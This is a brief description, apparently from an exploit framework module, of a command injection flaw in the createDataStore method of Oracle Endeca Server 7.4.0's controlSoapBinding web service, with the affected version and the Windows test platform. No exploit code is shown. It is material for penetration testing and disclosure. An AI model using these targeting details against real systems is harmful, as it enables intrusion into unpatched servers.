        This module exploits a command injection vulnerability on the Oracle Endeca
        Server 7.4.0. The vulnerability exists on the createDataStore method from the
        controlSoapBinding web service. The vulnerable method only exists on the 7.4.0
        branch and isn't available on the 7.5.5.1 branch. In addition, the injection
        has been found to be Windows specific. This module has been tested successfully
        on Endeca Server 7.4.0.787 over Windows 2008 R2 (64 bits).
